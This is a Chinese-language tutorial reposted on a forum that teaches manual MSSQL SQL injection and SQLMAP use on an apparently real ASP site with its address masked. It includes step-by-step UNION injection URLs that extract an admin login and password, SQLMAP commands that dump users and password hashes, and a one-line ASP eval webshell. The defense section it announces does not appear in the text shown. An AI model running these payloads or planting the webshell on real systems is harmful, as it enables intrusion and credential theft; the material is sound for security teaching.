搜索

[21423] 2020-11-20_[网络安全]四.手工SQL注入和SQLMAP入门基础及案例详解

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2020-11-20_[网络安全]四.手工SQL注入和SQLMAP入门基础及案例详解 [ 网 络 安 全 ]   四 . 手 工 S Q L 注 入 和 S Q L M A P 入 门 基 础 及 案 例 详 解 杨 秀 璋   L e m o n S e c   2 0 2 0 - 1 1 - 2 0 前 文 分 享 （ 下 面 的 超 链 接 可 以 点 击 喔 ） ： [ 网 络 安 全 ]   一 . W e b 渗 透 入 门 基 础 与 安 全 术 语 普 及 [ 网 络 安 全 ]   二 . W e b 渗 透 信 息 收 集 之 域 名 、 端 口 、 服 务 、 指 纹 、 旁 站 、 C D N 和 敏 感 信 息 [ 网 络 安 全 ]   三 . 社 会 工 程 学 那 些 事 及 I P 物 理 定 位 转 自 “ 娜 璋 之 家 ” 公 众 号 最 近 开 始 学 习 网 络 安 全 和 系 统 安 全 ， 接 触 到 了 很 多 新 术 语 、 新 方 法 和 新 工 具 ， 作 为 一 名 初 学 者 ， 感 觉 安 全 领 域 涉 及 的 知 识 好 广 、 好 杂 ， 但 同 时 也 非 常 有 意 思 。 所 以 我 希 望 通 过 这 1 0 0 多 篇 网 络 安 全 文 章 ， 将 W e b 渗 透 的 相 关 工 作 、 知 识 体 系 、 学 习 路 径 和 探 索 过 程 分 享 给 大 家 ， 我 们 一 起 去 躺 过 那 些 坑 、 跨 过 那 些 洞 、 守 住 那 些 站 。 未 知 攻 ， 焉 知 防 ， 且 看 且 珍 惜 ， 也 希 望 您 能 推 荐 和 支 持 作 者 的 公 众 号 。 第 四 文 章 将 介 绍 S Q L 注 入 知 识 ， 结 合 案 例 对 比 手 工 S Q L 注 入 和 S Q L M A P 的 基 本 用 法 ， 案 例 和 基 础 原 理 的 结 合 能 加 深 大 家 对 S Q L 注 入 的 理 解 ， 希 望 对 您 有 所 帮 助 。 娜 璋 A I 安 全 之 家 将 专 注 于 P y t h o n 和 安 全 技 术 ， 主 要 分 享 W e b 渗 透 、 系 统 安 全 、 人 工 智 能 、 大 数 据 分 析 、 图 像 识 别 、 恶 意 代 码 检 测 、 C V E 复 现 、 威 胁 情 报 分 析 等 文 章 。 真 心 想 把 自 己 近 十 年 的 所 学 所 做 所 感 分 享 出 来 ， 与 大 家 一 起 进 步 。 声 明 ： 本 人 坚 决 反 对 利 用 教 学 方 法 进 行 恶 意 攻 击 的 行 为 ， 一 切 错 误 的 行 为 必 将 受 到 严 惩 ， 绿 色 网 络 需 要 我 们 共 同 维 护 ， 更 推 荐 大 家 了 解 技 术 背 后 的 原 理 ， 更 好 地 进 行 安 全 防 护 。 虽 然 作 者 是 一 名 安 全 小 白 ， 但 会 保 证 每 一 篇 文 章 都 会 很 用 心 地 撰 写 ， 希 望 这 些 基 础 性 文 章 对 你 有 所 帮 助 ， 在 安 全 路 上 一 起 前 行 。 文 章 目 录 ： 文 章 目 录 ： 一 . 手 工 S Q L 注 入 二 . S Q L M A P 基 础 用 法 三 . 防 御 措 施 四 . 总 结
一 . 手 工 S Q L 注 入 S Q L 注 入 注 入 是 比 较 常 见 的 网 络 攻 击 方 式 之 一 ， 它 是 针 对 程 序 员 编 写 代 码 时 的 疏 忽 ， 对 用 户 输 入 数 据 的 合 法 性 没 有 判 断 或 过 滤 不 严 ， 攻 击 者 通 过 构 造 不 同 的 S Q L 语 句 来 实 现 对 数 据 库 的 任 意 操 作 ， 包 括 无 账 号 登 录 、 查 询 删 除 数 据 、 篡 改 数 据 库 ， 甚 至 如 果 数 据 库 的 用 户 权 限 足 够 大 ， 还 可 以 对 操 作 系 统 执 行 操 作 。 S Q L 注 入 可 以 分 为 平 台 层 注 入 和 代 码 层 注 入 ， 前 者 由 不 安 全 的 数 据 库 配 置 或 数 据 库 平 台 的 漏 洞 所 致 ； 后 者 主 要 是 由 于 程 序 员 对 输 入 未 进 行 细 致 地 过 滤 。 这 篇 文 章 主 要 结 合 案 例 ， 分 享 手 工 S Q L 注 入 和 S Q L M A P 的 基 本 用 法 ， 希 望 对 您 有 所 帮 助 ， 同 时 推 荐 J u s t i n   C l a r k e 的 《 S Q L 注 入 攻 击 与 防 御 》 书 籍 。 下 面 通 过 一 个 简 单 的 例 子 从 数 据 库 原 理 知 识 解 读 S Q L 注 入 攻 防 原 理 ， 内 容 比 较 简 单 。 假 设 存 在 一 个 网 址 能 正 常 显 示 内 容 ， 其 数 据 库 是 M S S Q L ， 网 站 为 A S P 。 h t t p : / / x x x x x / s h o w . a s p ? c o d e = 1 1 5 对 应 的 后 台 S Q L 语 句 可 能 如 下 ： s e l e c t   . . . .   f r o m   t a b l e   w h e r e   c o d e = ' 1 1 5 '   a n d   x x x x ; 第 一 步 ， 数 据 库 如 何 判 断 注 入 点 第 一 步 ， 数 据 库 如 何 判 断 注 入 点 判 断 注 入 点 的 方 法 很 多 ， 比 如 s h o w . a s p ? c o d e = 1 1 5 '   加 单 引 号 ， s h o w . a s p ? c o d e = 1 1 5 - 1   减 1 ， 这 里 介 绍 一 个 经 典 的 方 法 。 h t t p : / / x x x x x / s h o w . a s p ? c o d e = 1 1 5 '   a n d   1 = 1   -   -   ( 正 常 显 示 ) 对 应 的 S Q L 语 句 ： s e l e c t   . . . .   f r o m   t a b l e   w h e r e   c o d e = ' 1 1 5 '   a n d   1 = 1   -   -   a n d   x x x x ; 其 中 ， 单 引 号 ( ' ) 匹 配 c o d e = ' 1 1 5 ， 然 后 a n d 连 接 ， 1 = 1 恒 成 立 ， S Q L 注 释 ( -   - ) 掉 后 面 语 句 。 h t t p : / / x x x x x / s h o w . a s p ? c o d e = 1 1 5 '   a n d   1 = 2   -   -   ( 错 误 显 示 ) 对 应 的 S Q L 语 句 ： s e l e c t   . . . .   f r o m   t a b l e   w h e r e   c o d e = ' 1 1 5 '   a n d   1 = 2   -   -   a n d   x x x x ; 单 引 号 ( ' ) 匹 配 c o d e = ' 1 1 5 ， 然 后 a n d 连 接 ， 1 = 2 恒 错 误 ， 注 释 ( - - ) 掉 后 面 语 句 。 第 二 步 ， 数 据 库 如 何 判 断 字 段 总 数 第 二 步 ， 数 据 库 如 何 判 断 字 段 总 数   o r d e r   b y 基 本 方 法 如 下 ： h t t p : / / x x x x x / s h o w . a s p ? c o d e = 1 1 5 '   o r d e r   b y   1   - -   ( 正 常 显 示 ) 对 应 的 S Q L 语 句 ： s e l e c t   . . . .   f r o m   t a b l e   w h e r e   c o d e = ' 1 1 5 '   o r d e r   b y   1   - -   a n d   x x x x ; 按 照 1 个 字 段 进 行 排 序 ， 正 常 显 示 表 示 该 U R L 对 应 的 S Q L 语 句 至 少 一 个 字 段 。 h t t p : / / x x x x x / s h o w . a s p ? c o d e = 1 1 5 '   o r d e r   b y   1 0   - -   ( 正 常 显 示 ) 对 应 的 S Q L 语 句 ： s e l e c t   . . . .   f r o m   t a b l e   w h e r e   c o d e = ' 1 1 5 '   o r d e r   b y   1 0   - -   a n d   x x x x ;
依 次 按 照 字 段 增 加 往 上 进 行 排 序 ， 直 至 o r d e r   b y   1 1 提 示 错 误 ， 此 时 表 示 共 1 0 个 字 段 。 h t t p : / / x x x x x / s h o w . a s p ? c o d e = 1 1 5 '   o r d e r   b y   1 1   - -   ( 错 误 显 示 ) 第 三 步 ， 数 据 库 获 取 显 示 位 ， 通 过 第 三 步 ， 数 据 库 获 取 显 示 位 ， 通 过 u n i o n 实 现 实 现 在 得 到 字 段 个 数 后 ， 需 要 获 取 字 段 位 置 ， 则 使 用 u n i o n 或 u n i o n   a l l 。 其 中 u n i o n 表 示 将 两 个 s e l e c t 结 果 整 体 显 示 ， 并 合 并 相 同 的 结 果 ， u n i o n   a l l 显 示 全 部 结 果 。 例 如 ： 具 体 方 法 如 下 ： h t t p : / / x x x x x / s h o w . a s p ? c o d e = 1 1 5 '   u n i o n   a l l   s e l e c t   n u l l , . . . , n u l l   - - 正 常 显 示 ， 共 1 0 个 n u l l ， 表 示 通 配 符 ， 如 果 9 个 n u l l 会 报 错 ， 需 对 应 1 0 个 字 段 。 h t t p : / / x x x x x / s h o w . a s p ? c o d e = 1 1 5 '   u n i o n   a l l   s e l e c t   1 , . . . , n u l l   - -   依 次 替 换 成 数 字 ， 测 试 哪 几 个 字 段 有 结 果 ， 如 果 报 错 则 替 换 回 n u l l 。 最 终 的 结 果 为 ： s h o w . a s p ? c o d e = 1 1 5 '   u n i o n   a l l   s e l e c t   1 , n u l l , 3 , n u l l , n u l l , 6 , 7 , 8 , 9 , 1 0   - - 对 应 的 S Q L 语 句 为 ： s e l e c t   . . . .   f r o m   t a b l e   w h e r e   c o d e = ' 1 1 5 '   u n i o n   a l l   s e l e c t   1 , n u l l , 3 , n u l l , n u l l , 6 , 7 , 8 , 9 , 1 0   -   -   x x x x ; h t t p : / / x x x x x / s h o w . a s p ? c o d e = - 1 '   u n i o n   a l l   s e l e c t   1 , . . . , n u l l   -   - 然 后 将 数 字 1 1 5 替 换 成 - 1 ， 一 个 不 存 在 的 界 面 ， 则 会 显 示 如 下 所 示 结 果 ， 可 以 看 到 附 件 显 示 对 应 的 值 7 、 8 、 9 ， 再 想 办 法 将 我 们 需 要 的 结 果 在 这 里 显 示 即 可 ， 这 些 数 据 都 是 从 后 台 数 据 库 中 查 询 出 来 的 。
第 四 步 ， 数 据 库 显 示 错 误 网 页 及 对 应 数 据 第 四 步 ， 数 据 库 显 示 错 误 网 页 及 对 应 数 据 d b _ n a m e 该 网 站 使 用 的 数 据 库 为 M S S Q L ， 则 一 定 特 定 的 字 段 需 要 知 道 ： h o s t _ n a m e ( ) ： 连 接 数 据 库 服 务 器 的 计 算 机 名 称 @ @ v e r s i o n ： 获 取 数 据 库 版 本 号 d b _ n a m e ( ) ： 数 据 库 的 库 名 称 @ @ s e r v e r n a m e ： 当 前 数 据 库 计 算 机 的 名 称 = h o s t _ n a m e ( ) U R L 拼 接 如 下 ： h t t p : / / x x x x x / s h o w . a s p ? c o d e = - 1 '   u n i o n   a l l   s e l e c t   1 , n u l l , 3 , n u l l , n u l l , 6 , h o s t n a m e ( ) , @ @ v e r s i o n , d b n a m e ( ) , 1 0   - - 输 出 结 果 如 下 所 示 ： 附 件 1 ： A Y D 附 件 2 ： M i c r o s o f t   S Q L   S e r v e r . . . . 附 件 3 ： a h y k d _ n e w 其 中 数 据 库 的 名 称 就 是 a h y k d _ n e w ， 接 下 来 相 同 的 道 理 获 取 数 据 库 所 有 表 及 列 。 第 五 步 ， 数 据 库 获 取 表 名 及 列 名 ， 第 五 步 ， 数 据 库 获 取 表 名 及 列 名 ， P y t h o n 爬 虫 引 入 爬 虫 引 入 S Q L   S e r v e r 自 带 系 统 对 象 表 ， 当 前 数 据 库 所 有 字 段 。 s y s o b j e c t s   表 名 s y s c o l u m n s   列 名 其 中 ， n a m e 表 示 对 象 名 （ 表 名 ） ， i d 表 示 表 编 号 ， t y p e 表 示 对 象 类 型 ， 其 值 为 U 表 示 用 户 表 ， S 表 示 系 统 表 ， C 约 束 ， P K 主 键 等 。 s y s o b j e c t s   和   s y s c o l u m n s   之 间 以 i d 互 相 对 应 ， 一 个 表 名 在 s y s o b j e c t s 得 到 i d 后 可 以 在 s y s c o l u m n s 找 到 它 的 列 名 。 重 点 知 识 ： 查 看 所 有 表 名 语 句 查 看 所 有 表 名 语 句   s e l e c t   n a m e   f r o m   s y s o b j e c t s   w h e r e   t y p e = ' U ' ; 询 表 询 表 t a b l e 1 的 所 有 字 段 名 称 的 所 有 字 段 名 称   s e l e c t   n a m e   f r o m   s y s c o l u m n s   w h e r e   i d = o b j e c t _ i d ( ' t a b l e 1 ' ) ； ； 具 体 渗 透 方 法 如 下 ： h t t p : / / x x x x x / s h o w . a s p ? c o d e = - 1 ' u n i o n   a l l   s e l e c t   1 , n u l l , 3 , n u l l , n u l l , 6 , 7 , 8 , ( s e l e c t   t o p   1   n a m e   f r o m   s y s o b j e c t s w h e r e   t y p e = ' U ' ) , 1 0   - - 此 时 输 出 结 果 如 下 所 示 ： 附 件 1 ： 7
附 件 2 ： 8 附 件 3 ： k c _ j x j d 其 中 t o p   1   n a m e 用 于 输 出 1 个 字 段 （ 相 当 于 M y S Q L 使 用 l i m i t   1 ） ， s y s o b j e c t s 中 u 为 用 户 表 ， c o u n t ( * ) 可 以 统 计 总 共 8 7 个 表 。 P S ： 问 大 家 一 个 问 题 ， 现 在 是 获 取 ： 问 大 家 一 个 问 题 ， 现 在 是 获 取 1 个 表 ， 那 么 如 何 获 取 其 他 表 呢 ？ 个 表 ， 那 么 如 何 获 取 其 他 表 呢 ？ h t t p : / / x x x x x / s h o w . a s p ? c o d e = - 1 '   u n i o n   a l l   s e l e c t   1 , n u l l , 3 , n u l l , n u l l , 6 , 7 , 8 ,   ( s e l e c t   t o p   1   n a m e   f r o m   ( s e l e c t   t o p   2   n a m e   f r o m   s y s o b j e c t s   w h e r e t y p e = ' U '   o r d e r   b y   d e s c )   a   o r d e r   b y   1   a s c ) , 1 0   - - 通 过 子 查 询 一 个 升 序 ， 一 个 降 序 获 取 第 二 个 值 ， 同 理 第 三 个 t o p   3 。 下 面 通 过 P y t h o n 定 义 一 个 S e l e n i u m 爬 虫 不 断 访 问 t o p   n ， 获 取 所 有 的 表 名 ， 代 码 如 下 。 注 意 ， P y t h o n 应 用 在 W e b 渗 透 领 域 是 很 常 见 且 有 效 的 。 分 析 输 出 的 所 有 表 名 ， 可 以 发 现 u s r 为 后 台 登 录 表 。 后 台 登 录 表 ： u s r 第 六 步 ， 数 据 库 获 取 登 录 表 第 六 步 ， 数 据 库 获 取 登 录 表 u s r 字 段 字 段   i d = o b j e c t _ i d ( ' u s r ' ) 具 体 方 法 如 下 ： h t t p : / / x x x x x / s h o w . a s p ? c o d e = - 1 ' u n i o n   a l l   s e l e c t   1 , n u l l , 3 , n u l l , n u l l , 6 , 7 , 8 , ( s e l e c t   t o p   1   n a m e   f r o m   s y s c o l m n s w h e r e   i d = o b j e c t _ i d ( ' u s r ' ) ) , 1 0   - - 输 出 结 果 如 下 所 示 ： 附 件 1 ： 7 附 件 2 ： 8 附 件 3 ： a n s w e r 其 中 t o p   1   n a m e 用 于 输 出 1 个 字 段 ， 表 u s r 的 一 个 列 表 。 核 心 S Q L 语 句 获 取 不 同 的 列 名 ： ( s e l e c t   t o p   1   n a m e   f r o m   ( s e l e c t   t o p   3   n a m e   f r o m   s y s c o l u m n s   w h e r e   i d = o b j e c t _ i d ( ' u s r ' )   o r d e r   b y   a s c )   a   o r d e r   b y   1   d e s c ) 输 出 结 果 如 下 所 示 ： 附 件 1 ： 7 附 件 2 ： 8 附 件 3 ： d i c _ r o l l
同 理 ， 也 可 以 借 助 P y t h o n 获 取 所 有 字 段 ， 如 果 字 段 少 ， 手 工 即 可 测 试 出 来 ， c o u n t ( * ) 返 回 字 段 个 数 。 最 后 发 现 ： 用 户 名 字 段 为 u s r _ n a m e ， 密 码 为 p a s s w d 第 七 步 ， 获 取 数 据 库 返 回 用 户 名 和 密 码 第 七 步 ， 获 取 数 据 库 返 回 用 户 名 和 密 码 具 体 方 法 如 下 ： h t t p : / / x x x x x / s h o w . a s p ? c o d e = - 1 '   u n i o n   a l l   s e l e c t   1 , n u l l , 3 , n u l l , n u l l , 6 , 7 , 8 , ( s e l e c t   t o p   1   u s r _ n a m e   f r o m   u s r ) , 1 0   - - 输 出 结 果 如 下 所 示 ： 附 件 1 ： 7 附 件 2 ： 8 附 件 3 ： 2 0 1 6 0 0 1 输 出 用 户 名 2 0 1 6 0 0 1 ， 再 搜 索 密 码 。 h t t p : / / x x x x x / s h o w . a s p ? c o d e = - 1 '   u n i o n   a l l   s e l e c t   1 , n u l l , 3 , n u l l , n u l l , 6 , 7 , 8 ,   ( s e l e c t   p a s s w d   f r o m   u s r   w h e r e   u s r _ n a m e = ' 2 0 1 6 0 0 1 ' ) , 1 0   - - 输 出 结 果 如 下 所 示 ： 附 件 1 ： 7 附 件 2 ： 8 附 件 3 ： 1 2 3 4 5 6 输 出 用 户 名 输 出 用 户 名 2 0 1 6 0 0 1 ， 密 码 ， 密 码 1 2 3 4 5 6 ， 此 时 即 可 登 录 ， 通 过 ， 此 时 即 可 登 录 ， 通 过 P y t h o n 可 以 获 取 所 有 值 。 可 以 获 取 所 有 值 。 第 八 步 ， 登 录 系 统 并 获 取 第 八 步 ， 登 录 系 统 并 获 取 W e b S h e l l 登 录 后 台 基 本 完 成 ， 接 下 来 分 享 S Q L M A P 基 础 用 法 和 如 何 进 行 S Q L 防 御 。 < % e v a l   r e q u e s t ( " N a n a " )   % > 二 . S Q L M A P 基 础 用 法 S Q L M A P 是 一 款 非 常 强 大 的 开 源 渗 透 测 试 工 具 ， 用 于 自 动 检 测 和 利 用 S Q L 注 入 漏 洞 控 制 数 据 库 服 务 器 的 过 程 。 它 配 备 了 一 个 强 大 的 检 测 引 擎 ， 由 P y t h o n 语 言 开 发 完 成 ， 通 过 外 部 连 接 访 问 数 据 库 底 层 文 件 系 统 和 操 作 系 统 ， 并 执 行 命 令 实 现 渗 透 。 由 于 它 是 通 过 P y t h o n 语 言 开 发 完 成 ， 需 要 安 装 P y t h o n 环 境 ， 下 面 开 始 安 装 S Q L M A P ， 建 议 大 家 直 接 用 建 议 大 家 直 接 用 K a l i 。 方 法 一 ： 调 用 P y h o n 命 令 p i p   i n s t a l l   s q l m a p 安 装 方 法 二 ： 从 G i t h u b 中 获 取 S Q L M A P 进 行 安 装   h t t p s : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p
漏 洞 检 测 漏 洞 检 测 c d 去 到 P y t h o n 环 境 s q l m a p 文 件 夹 下 ， 运 行 命 令 ： p y t h o n   s q l m a p . p y   - u   " h t t p : / / . . . . / t z t g x x . a s p x ? c o d e = 1 1 5 " 运 行 结 果 如 下 图 所 示 ， - u 表 示 网 址 u r l 。 输 出 G E T 的 四 种 注 入 类 型 ， 分 别 为 ： b o o l e a n - b a s e d   b l i n d 、 s t a c k e d   q u e r i e s 、 t i m e - b a s e d   b l i n d 、 U N I O N   q u e r y 。 这 里 你 可 能 会 发 现 和 我 们 的 第 一 篇 文 章 手 动 讲 解 S Q L 注 入 类 似 ， 包 括 ： A N D   1 3 2 7 = 1 3 2 7 、 U N I O N   A L L 等 。 输 出 结 果 ： 操 作 系 统 ： W i n d o w s   2 0 0 0 W e b 应 用 技 术 ： A S P . N E T ， A S P . N E T   2 . 0 ,   M i c r o s o f t   I I S   5 . 0 数 据 库 ： M i c r o s o f t   S Q L   S e r v e r   2 0 0 0 接 着 我 们 以 上 面 的 案 例 进 行 基 础 用 法 讲 解 ， 这 样 能 加 深 大 家 对 S Q L 注 入 的 理 解 。 第 一 步 ， 获 取 所 有 数 据 库 第 一 步 ， 获 取 所 有 数 据 库 参 数 ： - - d b s 命 令 ： p y t h o n   s q l m a p . p y   - u   " h t t p : / / . . . / t z t g x x . a s p x ? c o d e = 1 1 5 "   - - d b s 运 行 结 果 如 下 图 所 示 ， 获 取 9 个 数 据 库 ， 其 中 - - d b s 参 数 表 示 d a t a b a s e s 。
第 二 步 ， 获 取 当 前 数 据 库 第 二 步 ， 获 取 当 前 数 据 库 参 数 ： - - c u r r e n t - d b 命 令 ： p y t h o n   s q l m a p . p y   - u   " h t t p : / / . . . / t z t g x x . a s p x ? c o d e = 1 1 5 "   - - c u r r e n t - d b 运 行 结 果 如 下 图 所 示 ， 获 取 9 个 数 据 库 。 其 中 - - c u r r e n t - d b 参 数 表 示 当 前 数 据 库 ， 相 当 于 前 文 M S S Q L 的 d b _ n a m e ( ) 获 取 数 据 库 字 段 。 输 出 结 果 ： 输 出 结 果 ： a k y k d _ n e w 对 应 前 文 ： h t t p : / / x x x x x / s h o w . a s p ? c o d e = - 1 '   u n i o n   a l l   s e l e c t   1 , n u l l , 3 , n u l l , n u l l , 6 , h o s t n a m e ( ) , @ @ v e r s i o n , d b n a m e ( ) , 1 0   - - 输 出 结 果 如 下 所 示 ： 附 件 3 ： a h y k d _ n e w 其 中 数 据 库 的 名 称 就 是 a h y k d _ n e w ， 接 下 来 相 同 的 道 理 获 取 数 据 库 所 有 表 及 列 。 第 三 步 ， 获 取 数 据 库 所 有 用 户 第 三 步 ， 获 取 数 据 库 所 有 用 户 参 数 ： - - u s e r s 命 令 ： p y t h o n   s q l m a p . p y   - u   " h t t p : / / . . . / t z t g x x . a s p x ? c o d e = 1 1 5 "   - - u s e r s
运 行 结 果 如 下 图 所 示 ， 获 取 2 个 用 户 库 。 输 出 结 果 ： 两 个 用 户 B U I L T I N A d m i n s t r a t o r s s a 第 四 步 ， 获 取 数 据 库 当 前 用 户 第 四 步 ， 获 取 数 据 库 当 前 用 户 参 数 ： - - c u r r e n t - u s e r 命 令 ： p y t h o n   s q l m a p . p y   - u   " h t t p : / / . . . / t z t g x x . a s p x ? c o d e = 1 1 5 "   - - c u r r e n t - u s e r 运 行 结 果 如 下 图 所 示 ， 获 取 当 前 数 据 库 用 户 s a 。 第 五 步 ， 获 取 数 据 库 所 有 用 户 和 密 码 第 五 步 ， 获 取 数 据 库 所 有 用 户 和 密 码 参 数 ： - - p a s s w o r d s 命 令 ： p y t h o n   s q l m a p . p y   - u   " h t t p : / / . . . / t z t g x x . a s p x ? c o d e = 1 1 5 "   - - p a s s w o r d s 运 行 结 果 如 下 图 所 示 ， 获 取 数 据 库 用 户 和 密 码 。
输 出 结 果 ： d a t a b a s e   m a n a g e m e n t   s y s t e m   u s e r s   p a s s w o r d   h a s h e s :   [   *   ]   B U I L T I N A d m i n i s t r a t o r s   [ 1 ] :   p a s s w o r d   h a s h :   N U L L   [   *   ]   s a   [ 1 ] :   p a s s w o r d   h a s h : 0 x 0 1 0 0 6 e 2 7 6 5 3 a 3 6 b b c 7 9 0 7 e c 4 5 a 0 0 6 0 . . . 第 六 步 ， 获 取 数 据 库 所 有 表 第 六 步 ， 获 取 数 据 库 所 有 表 参 数 ： - D   a h y k d _ n e w   - - t a b l e s 命 令 ： p y t h o n   s q l m a p . p y   - u   " h t t p : / / . . . / t z t g x x . a s p x ? c o d e = 1 1 5 "   - D   a h y k d _ n e w   - - t a b l e s 运 行 结 果 如 下 图 所 示 ， 获 取 数 据 库 a h y k d _ n e w 的 所 有 表 ， 其 中 - D 表 示 数 据 库 ， - - t a b l e s 表 示 所 有 表 。 通 过 人 为 猜 解 ， 知 道 登 录 表 为 u s r 。 对 应 前 文 ： h t t p : / / x x x x x / s h o w . a s p ? c o d e = - 1 ' u n i o n   a l l   s e l e c t   1 , n u l l , 3 , n u l l , n u l l , 6 , 7 , 8 , ( s e l e c t   t o p   1   n a m e   f r o m   s y s o b j e c t s   w h e r e   t y p e = ' U ' ) , 1 0   - - 输 出 结 果 如 下 所 示 ： 附 件 1 ： 7 附 件 2 ： 8 附 件 3 ： k c _ j x j d 其 中 t o p   1   n a m e 用 于 输 出 1 个 字 段 ， s y s o b j e c t s 中 u 为 用 户 表 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理